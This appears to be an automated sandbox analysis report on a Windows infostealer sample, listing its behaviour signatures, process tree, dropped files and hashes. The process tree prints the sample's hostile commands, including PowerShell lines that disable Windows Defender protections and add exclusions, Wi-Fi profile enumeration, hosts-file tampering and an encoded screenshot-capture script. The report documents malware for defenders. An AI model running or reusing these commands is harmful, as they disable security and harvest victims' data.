Overview

overview

10

Static

static

10

2024-05-03...ch.exe

windows7-x64

1

2024-05-03...ch.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    12s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/05/2024, 01:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-05-03_c4f47bd26e74cee55af2dc4f49e87f0e_ngrbot_snatch.exe

  • Size

    9.3MB

  • MD5

    c4f47bd26e74cee55af2dc4f49e87f0e

  • SHA1

    a03287de6d4b935cb19f78d4c820d3b3e0680114

  • SHA256

    bf8a99c54e00ff38f115df8a3f0afa2e5080e67914966fb128bb6c5563c3284a

  • SHA512

    e38ac9ae1bc8984469c82e0dc559951067559909e76f344ddb55b9394f4c62e4f5148104d2af4232346a3385811221c3be61ddf5f81179776b5dd67b0f7b8fde

  • SSDEEP

    98304:I2WFke58etbgH67479hFti3Xo3JEdfkF4Chy8bX1nA1z:Uke58etbEZfti3XRdfkF4ChToz

Score
8/10
executionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-05-03_c4f47bd26e74cee55af2dc4f49e87f0e_ngrbot_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-05-03_c4f47bd26e74cee55af2dc4f49e87f0e_ngrbot_snatch.exe"
    1⤵
    • Drops file in Drivers directory
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4848
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2024-05-03_c4f47bd26e74cee55af2dc4f49e87f0e_ngrbot_snatch.exe
      2⤵
      • Views/modifies file attributes
      PID:2160
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:1804
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2024-05-03_c4f47bd26e74cee55af2dc4f49e87f0e_ngrbot_snatch.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3960
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:3728
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:4196
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
            PID:4360
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            2⤵
            • Detects videocard installed
            PID:5088
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            2⤵
              PID:2084
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:1392
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:3916
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              2⤵
                PID:2868
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of WriteProcessMemory
                PID:4572
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bvzqq3uc\bvzqq3uc.cmdline"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1736
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES51D9.tmp" "c:\Users\Admin\AppData\Local\Temp\bvzqq3uc\CSC8CFC8DE3EBEF4D75A650332486FF40.TMP"
                    4⤵
                      PID:3156

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                77d622bb1a5b250869a3238b9bc1402b

                SHA1

                d47f4003c2554b9dfc4c16f22460b331886b191b

                SHA256

                f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                SHA512

                d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                22310ad6749d8cc38284aa616efcd100

                SHA1

                440ef4a0a53bfa7c83fe84326a1dff4326dcb515

                SHA256

                55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

                SHA512

                2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\OobHbN1ZxY\Display (1).png
                Filesize

                432KB

                MD5

                aa03e77cd27828a4893b212e774a23c9

                SHA1

                b69bf2e53368ca9201fac841ecf2e7e74a95ef36

                SHA256

                dc941f49129ba2f4aa6fb445744273f16aed38d927f324def462fa2edf184953

                SHA512

                5f76acc9a2a1955586a897206a697e078ca75bc77ae26e4d5922183f8debe1980599cf013a89053564f31d9725ef8a33fa7afece213890c689426a516a0d827f

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\RES51D9.tmp
                Filesize

                1KB

                MD5

                c9927f080a334e4913c8eb0256750716

                SHA1

                854ee3cf921a5c3f32e5ecd09404056cebd2c0d2

                SHA256

                9cddc9a2f144846a3a733eaa5d5075015cc633dea5358b8d6c35471cd17dd12c

                SHA512

                70437ddcdef8e45ab6317c87f7984f9e2383b6eb35013fc6e820ae4267fd5a6ef18701516769d101390416d36a6b2c1bd5afaf96b339fcbe15d09f8abc00d3b1

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xcyyqoaw.ajx.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\bvzqq3uc\bvzqq3uc.dll
                Filesize

                4KB

                MD5

                83fb96d6234db9d7f23cc704d3656785

                SHA1

                4bdfa0bd618379eeb3d5e145c0fc68c3c279b2da

                SHA256

                62fcc7699f8fdb6fa2e10e07ea0c32a6c76a40f7cbb821becf942f038578149d

                SHA512

                39ec91fdd1a212e0e8bc45611fc51268965733f5b6d32652fdbd99a7ef2606a0d541231bf2d0bbf168a3c5a83dc0a6733ece3a6ca03c3be1021fe22e77d90220

                Download Submit

              • C:\Windows\System32\drivers\etc\hosts
                Filesize

                2KB

                MD5

                6e2386469072b80f18d5722d07afdc0b

                SHA1

                032d13e364833d7276fcab8a5b2759e79182880f

                SHA256

                ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

                SHA512

                e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

                Download Submit

              • \??\c:\Users\Admin\AppData\Local\Temp\bvzqq3uc\CSC8CFC8DE3EBEF4D75A650332486FF40.TMP
                Filesize

                652B

                MD5

                775d4dba3477dd408726d51b95343f95

                SHA1

                9be58eb78333f8a00f4f3af61ac1f29a1909cda3

                SHA256

                9c42a127ea3d395614c3d3e2c3dc2ab34385bbf049c6896cdfc38bac2ff13f71

                SHA512

                090e16e144a2d5f77aa1840cf82707f502cd9449e4c1173ef26dda62c4dd195c674de383a10e9521f62f1bd37b39d45cd7cb00a07f81eb6a8607ee7fd141c956

                Download Submit

              • \??\c:\Users\Admin\AppData\Local\Temp\bvzqq3uc\bvzqq3uc.0.cs
                Filesize

                1004B

                MD5

                c76055a0388b713a1eabe16130684dc3

                SHA1

                ee11e84cf41d8a43340f7102e17660072906c402

                SHA256

                8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                SHA512

                22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                Download Submit

              • \??\c:\Users\Admin\AppData\Local\Temp\bvzqq3uc\bvzqq3uc.cmdline
                Filesize

                607B

                MD5

                12ff22f269ad6ae428074f417def0386

                SHA1

                81f75bab3c3b093e2d19865fef14a12d0664ec8d

                SHA256

                e09a4f0682e71d23135e85a974b33d6158141e3446e50649501859b82b0178d7

                SHA512

                9f736986e9c1a7a73cf38ad237a1cc5685a639baec268ff561dee1a5748405feca17b1f11b4f763cd30926fa2f38b6c39c531927a8fdc45103494cab21d5ca47

                Download Submit

              • memory/3960-28-0x00007FFE3E3E0000-0x00007FFE3EEA1000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/3960-2-0x00007FFE3E3E3000-0x00007FFE3E3E5000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3960-16-0x00007FFE3E3E0000-0x00007FFE3EEA1000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/3960-13-0x00007FFE3E3E0000-0x00007FFE3EEA1000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/3960-3-0x000001D66D8F0000-0x000001D66D912000-memory.dmp

                Filesize

                136KB

                Download

              • memory/4572-87-0x0000013D19D90000-0x0000013D19D98000-memory.dmp

                Filesize

                32KB

                Download